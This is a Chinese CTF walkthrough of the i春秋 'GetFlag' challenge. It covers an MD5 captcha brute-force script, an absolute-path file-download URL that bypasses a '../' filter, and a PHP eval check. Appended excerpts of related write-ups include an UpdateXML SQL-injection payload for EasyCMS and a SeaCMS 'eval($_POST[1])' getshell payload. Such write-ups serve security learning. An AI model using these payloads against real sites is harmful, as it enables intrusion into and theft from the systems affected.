“百度杯”CTF比赛 十月场_GetFlag(验证码爆破+注入+绝对路径文件下载)

题目在i春秋ctf大本营

页面给出了验证码经过md5加密后前6位的值,依照之前做题的套路,首先肯定是要爆破出验证码,这里直接给我写的爆破代码

#coding:utf-8
import hashlib
strs = ‘35eb09‘
def md5(s):
    return hashlib.md5(str(s).encode(‘utf-8‘)).hexdigest()

def main():
    for i in range(100000,100000000):
        a = md5(i)
        if a[0:6] == strs:
            print(i)
            exit(0)
if __name__ == ‘__main__‘:
    main()

拿到验证码后,先拿弱口令尝试登陆,试了好几个都不没成功,转而测试是否有注入点

测试的时候发现每次输入验证码都会改变,是真的烦,不过看返回页面存在注入点

重定向后发现三个文件:

打开最后一个a.php,看到提示:flag在根目录

一开始以为是文件读取,使用filter协议并没有成功,尝试直接访问flag.php,发现文件存在

再去查看网页源码,发现了文件下载的url

尝试下载flag.php,似乎并不行

一时间没了思路,去翻翻大佬的wp,看了后才知道../被过滤了,这里可以直接拿绝对路径来下载

猜测绝对路径为/var/www/html

所以我们访问url:http://b25da701b8cd44fb97bd6ceb7c5da1e474fdc7f166034f3a.game.ichunqiu.com/Challenges/file/download.php?f=/var/www/html/Challenges/flag.php

成了成了,打开文件发现源码:

<?php
$f = $_POST[‘flag‘];
$f = str_replace(array(‘`‘, ‘$‘, ‘*‘, ‘#‘, ‘:‘, ‘\\‘, ‘"‘, "‘", ‘(‘, ‘)‘, ‘.‘, ‘>‘), ‘‘, $f);
if((strlen($f) > 13) || (false !== stripos($f, ‘return‘)))
{
        die(‘wowwwwwwwwwwwwwwwwwwwwwwwww‘);
}
try
{
         eval("\$spaceone = $f");
}
catch (Exception $e)
{
        return false;
}
if ($spaceone === ‘flag‘){
    echo file_get_contents("helloctf.php");
}

?>
 

这里要求我们post一个flag参数,若值为flag就给出helloctf.php的内容,flag在这个文件里没跑了

直接POSTflag=flag并没有反应,再去瞜一眼wp,大佬POST的是flag=flag;

最后一定要加上分号.......但我并不清楚其中的原理,有了解的大佬请告知一下

POST完后可以在网页源码中看到flag

原文地址:https://www.cnblogs.com/Ragd0ll/p/8961057.html

时间: 2024-08-24 05:09:41

“百度杯”CTF比赛 十月场_GetFlag(验证码爆破+注入+绝对路径文件下载)的相关文章

“百度杯”CTF比赛 十月场_Login

题目在i春秋ctf大本营 打开页面是两个登录框,首先判断是不是注入 尝试了各种语句后,发现登录界面似乎并不存在注入 查看网页源代码,给出了一个账号 用帐密登陆后,跳转到到member.php网页,网页本身并没有什么提示内容 接着抓包查看,这里找了好久,最后在返回包的头文件中发现了一个可以参数 尝试在请求头中加入show参数: 返回一段源代码,开始审计之路: <?php include 'common.php'; $requset = array_merge($_GET, $_POST, $_SE

[i春秋]“百度杯”CTF比赛 十月场-Hash

前言 111 前言 涉及知识点:反序列化. 题目来自:i春秋 hash  如果i春秋题目有问题可以登录榆林学院信息安全协会CTF平台使用 或者利用本文章提供的源码自主复现 前言 点击hahaha进入下一个页面 进入之后我们发现这有一段英文说如果不是123 我们就可以获得flag 我们分析URL key部分有个123 我们替换成122试试 试了之后不行我们看到hash的值一看就是md5密文直接拿去解密看看有什么发现 http://地址/index.php?key=123&hash=f9109d5f

i春秋——“百度杯”CTF比赛 十月场——Login

根据页面源码提示的 test1 test1 登录 刷新此页面并抓包,有个show=0值得关注 在发送的包的header中加一句show:1,即可得到member.php的源码 1 <?php 2 include 'common.php'; 3 $requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE); 4 class db 5 { 6 public $where; 7 function __wakeup() 8 { 9 if(!empt

i春秋——“百度杯”CTF比赛 十月场——Vld(Vulcan Logic Dumper 、php opcode、sql 报错注入)

打开题目看到提示 "do you know Vulcan Logic Dumper?" ,再查看源码看到"<!-- index.php.txt ?>",访问后发现一堆看不懂的东西 这肯定就是所谓的Vulcan Logic Dumper了,先了解下相关概念 PHP内核-Zend引擎:http://www.php.cn/php-weizijiaocheng-355597.html PHP中的opcode:https://blog.csdn.net/weiyu

i春秋——“百度杯”CTF比赛 十月场——GetFlag(md5碰撞、文件包含、网站绝对路径)

需要提交的captcha满足等式,肯定就是MD5碰撞了 附上脚本 1 import hashlib 2 3 4 def func(md5_val): 5 for x in range(1,100000000): 6 md5_value=hashlib.md5(str(x)).hexdigest() 7 if md5_value[:6]==md5_val: 8 return str(x) 9 10 11 print func(raw_input('md5_val:')) 12 13 14 raw_

i春秋 “百度杯”CTF比赛 十月场 web题 Backdoor

0x00: 打开题目,题目中告诉我们这题是文件泄露. 0x01: 通过扫描目录,发现可以扫到的有3个文件 index.php flag.php robots.txt 但是浏览flag.php它告诉我们这不是真正的flag 又联系到题目文件泄露,于是测试.swp .swo .bak等备份文件后缀均无果.最后发现是.git泄露. 我们浏览这个url http://6094ef7a9cad4288a4748de8ff8ffc573453e961300f46ce.game.ichunqiu.com/Ch

i春秋 百度杯”CTF比赛 十月场 login

出现敏感的信息,然后进行登录 登录成功发现奇怪的show 然后把show放到发包里面试一下 出现了源码,审计代码开始 出flag的条件要user 等于春秋 然后进行login来源于反序列化后的login 下面进行序列化 然后参数为token,可以通过post,get,cookie的方式,但是看到都是用的cookie,我就用post和get 原文地址:https://www.cnblogs.com/haozhizhi/p/10161113.html

“百度杯”CTF比赛 九月场_YeserCMS

题目在i春秋ctf大本营 题目的提示并没有什么卵用,打开链接发现其实是easycms,百度可以查到许多通用漏洞 这里我利用的是无限报错注入 访问url/celive/live/header.php,直接进行报错注入 xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(concat(database())) ),

“百度杯”CTF比赛 九月场_Test(海洋cms前台getshell)

题目在i春秋ctf训练营 又是一道cms的通用漏洞的题,直接去百度查看通用漏洞 这里我使用的是以下这个漏洞: 海洋CMS V6.28代码执行0day 按照给出的payload,直接访问url+/search.php?searchtype=5&tid=&area=eval($_POST[1]) 之后用菜刀连接,但乍一看并没有flag.php 反手去查了一下海洋cms的数据库配置文件的存放地址: 出去用菜刀连接数据库 编辑完成后右键数据库管理,可以看到flag了 原文地址:https://ww